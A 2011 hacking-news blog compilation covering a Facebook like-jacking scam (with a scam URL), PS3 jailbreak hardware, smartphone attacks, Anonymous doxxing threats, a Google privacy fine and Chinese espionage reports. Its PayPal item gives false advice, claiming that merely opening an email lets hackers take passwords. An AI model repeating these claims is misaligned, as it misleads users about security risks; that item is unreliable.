When you open that page there will be a pop up shown there with button ("Watch video"), when you click on it, they ask you to perform 5 security task including

CTR C
Alt D
CTR V
Press Enter
Playing Video

When you perform these task successfully, it redirect you on some other page showing you screen that you facebook account is being authenticated, in this process a javascript code post the same 'Wall Post' on all your friends Wall and auto like that page.

You can check your Wall, there will be Posts like that 'You Posted ..(title of that page).. on your ....(friends name)....Wall'.

When this link is being posted on all your friends Wall then it will show you Pop up 'There is no serve available in your country Please try later' etc

You can manually unlike that page later by open that page and by pressing 'unlike' Link on that page.
And manually remove Posts from your Wall created by this Scam Fan page.

Same activity was perform by the same group by showing label

"FACEBOOK PROFILE VIEWERS"

You can check this by opening this link. http://dottot.info/os/

Ps Jailbreak hack threat by chinese store

2011-05-02T01:41:00.001+05:00

New PS3 jailbreak being sold at chinese store. Some say they hacked the hack, some say its like the original PS Jailbreak. What we say is, its cheap, and it works....

Be advised that buying from chinese stores can be sometimes hazardous to your nerves. Anyways, we didn’t test this store, but they look professional. Here’s the specs for their PS 3 Jailbreak.

Ps3 Power Switch Easy On/off Your Slim Ps3

Features:

Upgradeable hardware firmware thoroughly.
The key “Upgrade” for software upgrading and avoids to be blocked by Users can also upgrade the updated software through computer.
Reading speed will be 2 times faster and it makes users to play more smoothly.
Games can be copied and saved to internal or external hard disk, in this way, the expensive blue-ray driver and disc can be abandoned.
Plug & play USB port, the installation will be finished in a few seconds.
Home brew software is supported.
Simple and clear illustrations will guide you to install step by step.
PS3 Break is compatible with all fat and slim model.

Hack Smartphone in two easy steps.

2011-04-03T01:16:00.003+05:00

Smart phones, tablet PCs and mobile devices are now being used with online payment and banking networks that require more security than a smartphone generally provides....

Compromising these devices is relatively simple as most are not patched with security updates on a regular basis and most people are even unaware that an attack has taken place.

Miller highlighted the two steps required to capture a username and password being typed into the phone, followed by acquiring the highly secure 2 factor SMS token that is used to ensure that the transaction is being made by the owner of the phone and not a hacker.

A smartphone can be compromised in the same way that a laptop can be compromised through visiting a malicious website. As apps on phones become more sophisticated with features all intent on improving the end user experience, the security to protect this becomes more complex. Inevitably this leads to vulnerabilities being introduced. We can only expect continued increases in mobile security exploits,” Miller continued.

The prevalence of malicious software being installed on networked computers to capture ecommerce usernames and passwords, as well as credit card details remains a concern for the online payments sector.

“There is not one anti-virus system on the marketplace that can ward off a persistent hacker and phishing attack. I cannot emphasise that enough to organisations and consumers that phishing attacks are here to stay. Financial services organisations, retailers and consumers all must share joint responsibility to take the required steps to protect personal data,” he stated.

During digital forensic investigations performed by Pure Hacking, Miller released that the top three most common external attack techniques for compromising online payment systems include SQL Injection, Remote File Inclusion and System Command Injection. Each of these attacks are aimed at exploiting a web-based vulnerability in order to compromise the underlying web server operating system.

“Once a web server has become compromised, the attacker has a foothold to the internal network that allows them to gain unauthorised access to databases. This allows the attacker to compromise usernames, passwords and potentially credit card details,” said Miller.

He concluded, “Internal attacks are also one of the major concerns to ecommerce organisations these days. This is because rogue employees are able to perform much stealthier attacks to gain full access to the online payment environment. The larger successful attacks to perform fraud often originate internally via rogue employees, which maps directly to the ease of exploitation of systems from an internal attack vector”.

Sim Card Hack in Iphone Jailbreak

2011-03-24T20:13:00.001+05:00

Non practitioners often confuse jailbreaking and unlocking. With the former, you are removing Apple’s built in restrictions from your iOS gadget while with the latter and this is true of all mobile devices, really you are freeing up your tech to be used with wireless service providers that don’t sell or support it....

Unlocking tends to be a little bit trickier than jailbreaking, for obvious reasons. It usually involves some sort of software hack, using a PC/Mac-side application like Ultrasn0w. Unlockers now have a new option available to them however, a SIM card hack called Gevey that unlocks iPhone 4 devices running anything up to and including the latest iOS 4.3 update.

The $70 hack offers a hardware-based unlock and is available through applenberry. You simply place the SIM like card into your iPhone’s SIM tray alongside your actual SIM card and the Gevey handles the rest. It sounds magically delicious if you fancy an iPhone unlock, though there are some caveats you might want to be aware of before ponying up the dollars.

One caveat, really: the thing is a pain to use. To make the Gevey work its unlock juju you have to turn on your phone and cycle in and out of Airplane Mode a few times. Eventually you get what looks like an incoming call; accept that and you’re sent straight back to your phone’s settings page. Once that’s finished, the unlock should work… unless your phone runs out of batteries or needs to be reset, in which case you need to repeat the process all over again.

So let’s review: software based unlocks are free, and even though they require some diligence and know how on the user’s side, they have proven to be reasonably reliable. Gevey costs quite a bit more than “free,” and it requires you to repeat the unlocking process with some regularity. Hardly an ideal alternative, though it does offer an iOS 4.3 unlock, which is something that software based solutions haven’t yet tackled. You can bet that they will in time, but if you absolutely have to unlock your newly updated iPhone 4 right now, you’ll have to be willing to pay for it.

Threats against WikiLeaker captors

2011-03-23T16:34:00.001+05:00

The Pentagon has asked for an investigation into threats made by the Anonymous hacking collective against officials at Quantico, the Marine brig that is holding accused WikiLeaker Pfc. Bradley Manning....

The probe was requested following news reports that members of Anonymous were discussing ways to avenge the 23-year-old Manning, who is being forced to strip naked each night while held in solitary confinement and stand at attention in the morning. According to a report published on Monday by Forbes, Anonymous griefers have singled out Department of Defense Press Secretary Geoff Morell and Chief Warrant Officer Denise Barnes as targets.

According to the report, The goal of the campaign, dubbed “Operation Bradical,” is to “dox” the two officials, which Forbes says is Anonymous lingo for compiling crowdsourced documentation about the individuals with the goal of using it for mass harassment. Reporting the individuals to the police for drug or sex offenses, tricking their ISPs into canceling service, and “messing with their social security numbers” are all on the table.

According to a report published on Tuesday by AFP, Pentagon officials have alerted law enforcement agencies to the reported threats.While Anonymous is best known for orchestrating DDoS, or distributed denial of service, attacks on the websites of groups its members criticize, the group recently perpetrated a devastating hack against the servers of security firm HBGary. The breach, which exposed tens of thousands of proprietary emails discussing the private matters of clients, came shortly after HBGary CEO Aaron Barr, told The Financial Times he planned to unmask the leaders of Anonymous in the next few days.

Barr resigned in response to the attacks.According to Forbes, Operation Bradical demands that Manning be given “sheets, blankets, any religious texts he desires, adequate reading material, clothes, and a ball.”

The Brig has stripped PFC Manning of all of his clothing for the past three nights, and they intend to continue this practice indefinitely. Each night, Brig guards force PFC Manning to relinquish all of his clothing. He then lies in a cold jail cell naked until the following morning, when he is required to endure the humiliation of standing naked at attention for the morning roll call. According to Marine spokesperson, First Lieutenant Brian Villiard, the decision to strip him naked every night is for PFC Manning's own protection. Villiard stated that it would be "inappropriate" to explain what prompted these actions "because to discuss the details would be a violation of PFC Manning's privacy."
Manning, who has been incarcerated since July, has spent much of that time under suicide watch or prevention-of-injury designations. Among other things, they require him to be confined to a 6-by-12-foot cell with a bed, a drinking fountain, and a toilet for about 23 hours a day, and heavily restrict him from reading or exercising. Guards check on him every five minutes by asking him if he's OK. Manning is required to respond in some affirmative manner, according to a blog post published on Saturday by Manning's attorney.

Google Pay $142,000 for Privacy Violation

2011-03-22T01:29:00.004+05:00

France’s data privacy regulator has fined Google €100,000 for gathering data from private Wi-Fi networks while collecting imagery for Google Street View....

Google Street View has been controversial from the start, Many people and privacy groups didn’t like Google collecting imagery of buildings, license plates and faces for the panoramic view service, complementary to Google Maps.

Google answered those complaints by blurring sensitive parts of the images, but the service raised far more privacy concerns in May 2010, when Google admitted that its Street View cars collected and stored data from unencrypted Wi-Fi networks. The incident instigated privacy probes against Google in countries all over the world, including in Australia, Canada, Germany, South Korea and the U.S.
In August 2010, French police stopped a Google Street View car under orders of National Commission for Computing and Civil Liberties to inspect whether Google was still collecting Wi-Fi data.

Now, National Commission said that Google has pledged to erase the data it had collected, but it found “that Google has not refrained from using the data identifying Wi-Fi access points of individuals without their knowledge,” which prompted the fine.
The head of the CNIL Yann Padova told Le Parisien that it is a record fine since the power in 2004 to impose financial sanctions in 2004.

In July 2010, Google said that its “cars will no longer collect any Wi-Fi information at all,” but the fallout from the incident is still a reminder of how unpleasant the consequences of not respecting users’ privacy can be — especially for a giant company like Google.

Hackers way to access Paypal

2011-03-11T02:11:00.003+05:00

Hackers access PayPal through email. Most people already know not to click a link in an email for their PayPal mail.

Fake emails are supposed to be sent to spoof@ PayPal.com.

Do NOT ever open emails from PayPal. Do not open mails to see that a transaction occurred. Do not open mails that show you paid or anything. Everything that you need for financial record keeping for PayPal can be accessed directly from the PayPal site. You can print transaction logs directly from the PayPal site. You can print individual receipts from purchases and subscription payments directly from the site.

There is a hacker program that once you open an email, the program automatically retrieves your email password. Without your knowledge, the hacker sends a request to PayPal for lost password. PayPal then sends the new password information to the email. The hacker has your email password and can then automatically retrieve your PayPal password without your knowledge.

Keep the PayPal customer service number available. If an email has been received that the PayPal account has been compromised, it is best to talk to the customer service representatives instead of communicating via emails and on the PayPal site. Some emails state that the account has been compromised so that you will open that email. Once the email is opened it might be too late. These spoof emails are designed to create a panic and get you to click links inside the email. But the info that the hacker needs is given to them as soon as you open the email. Clicking the link just makes their job easier.

If you open an email, call the PayPal customer service immediately. Tell them that your account was compromised. Ask for assistance on temporarily freezing the account until you can secure it again. Get the PayPal staff to help you secure your account.

How Anti computer hacking bill Processed

2011-02-12T01:48:00.001+05:00

Strengthening cybersecurity is the goal of legislation being introduced in Congress after reports of hack attacks on computer networks at Nasdaq OMX Group and at oil and gas companies....

Democratic Senator Robert Menendez, who is introducing the bill, said that Cyber threats are not on the horizon, they are upon us.
The bipartisan Cybersecurity Enhancement Act would fund more cybersecurity research, awareness and education.

"Businesses and investors must trust that their investments are secure. We cannot allow security breaches to undermine our trust in the U.S. economy," said Menendez, from New Jersey.
McAfee Inc said that Hackers working in China broke into computer systems of five multinational oil and gas companies to steal bidding plans and other critical information, computer security firm.

Nasdaq OMX, operator of the Nasdaq Stock Market, said over the weekend that it had found "suspicious files" on its U.S. computer servers and determined that hackers could have affected one of its Internet-based client applications.

Nasdaq OMX said there was no evidence that the hackers obtained customer information or that any of the company's trading platforms were compromised.
Menendez and other lawmakers have urged regulators to look into the incidents and report back to Congress.

U.S under Cyber warfare threats

2011-02-12T01:30:00.000+05:00

The cyber warfare threat facing the United States is increasing in scope
and scale and its impact is difficult to overstate, Director of National Intelligence James Clapper told a congressional hearing on Thursday. Reported by WASHINGTON (Reuters).

US oil companies got attacked by Chinese hackers

2011-02-12T01:13:00.001+05:00

Hackers from China have penetrated computer networks of global oil companies, stealing financial documents on bidding plans and other confidential information, a US computer security firm said Thursday....

It is reported, Starting in November 2009, coordinated covert and targeted cyberattacks have been conducted against oil, energy, and petrochemical companies.

In addition to attacking company computers, the hackers struck individuals and executives in Kazakhstan, Taiwan, Greece, and the United States to acquire proprietary and highly confidential information, by McAfee report.

The industrial espionage charges are the latest leveled against hackers in China, which was accused in a report by the US-China Economic and Security Review Commission last year of waging massive attacks on US computer systems.

McAfee did not identify any of the companies targeted by the hackers. But it said all of the evidence pointed to the attackers being based in China.

McAfee said, "We have identified the tools, techniques, and network activities used in these continuing attacks, which we have dubbed Night Dragon as originating primarily in China."

It also said, Hacking tools widely available on the Chinese underground, were used to break into a company's intranet and obtain access to sensitive desktops and servers. They proceeded to connect to other machines (targeting executives) and exfiltrating email archives and other sensitive documents.

The computer security firm said that many actors took part in the attacks but it had identified an individual in Heze City, Shandong Province, who provided the crucial (command and control) infrastructure to the attackers. Although we don't believe this individual is the mastermind behind these attacks, it is likely this person is aware or has information that can help identify at least some of the individuals, groups, or organizations responsible for these intrusions.

McAfee said that all of the identified data exfiltration activity occurred from Beijing based IP addresses and operated inside the victim companies weekdays from 9:00 am to 5:00 pm Beijing time. This suggests the involved individuals were 'company men' working on a regular job, rather than freelance or unprofessional hackers. Although it is possible that all of these indicators are an elaborate red-herring operation designed to pin the blame for the attacks on Chinese hackers, we believe this to be highly unlikely.We have strong evidence suggesting that the attackers were based in China.

In January 2010, Google said it had been the target of cyberattacks originating in China which included attempts to access the email accounts of Chinese human rights activists around the world.
China has denied involvement in the December 2009 cyberattacks which Google said also targeted more than 20 other companies and led the Internet giant to halt censorship of its search engine in China.

In US diplomatic files obtained and published by WikiLeaks, the United States believes that China's leadership directed the hacking campaign into computers of Google and Western governments.
In one cable, the US embassy in Beijing said it learned from a Chinese contact that the Politburo had led years of hacking into computers of the United States, its allies and Tibet's spiritual leader the Dalai Lama.
US Director of National Intelligence James Clapper told Congress on Thursday that US computer systems were increasingly coming under attack.
Clapper, who did not specifically cite China, told a congressional committee that there had been a dramatic increase over the past year in malicious cyber activity targeting US computers and networks.

Clapper said that amost two-thirds of US firms report that they have been the victim of cybersecurity incidents or information breaches, while the volume of malicious software on American networks more than tripled from 2009.

PS3 Hacker aims against Sony !!!

2011-02-12T00:34:00.003+05:00

According to Wired, famed Playstation 3 hacker George “GeoHot” Hotz must turn over the tools of his trade and allow Sony to sift through his computer’s hard drive...

.Hotz’ attorney, Stewart Kellar, objected to the ruling on the grounds that complying meant that Sony would be able to “observe” all of his client’s files.

U.S. district judge Susan Illston had ruled that Hotz had to turn over his computer gear last month, but Kellar had asked the court for reconsideration.

Illston said, “Here, I find probable cause that your client has got these things on his computer. It’s a problem when more than one thing is kept on the computer. I’ll make sure the order is and will be that Sony is only entitled to isolate ,the information on the computer that relates to the hacking of the PlayStation.”

Sony’s lawsuit comes after Hotz posted the PS3 jailbreak codes on his website, accompanied by a “how to” video on YouTube. The lawsuit accuses Hotz, and other hackers, of violating the Digital Millennium Copyright Act (DMCA) on the grounds that the PS3 hack circumnavigates copyright protections.

The hackers have claimed that their work was aimed at making the PS3 “able to run Linux with dual-boot into GameOS, without 3D restrictions, on every PS3 currently out there.” The PS3 originally was able to run Linux, but Sony removed that feature with a firmware upgrade last summer.

Sony has threatened to sue anyone who posts the code, earlier this week, Sony did exactly that when it accidentally retweeted the jailbreak code after mistaking it for a Battleship reference.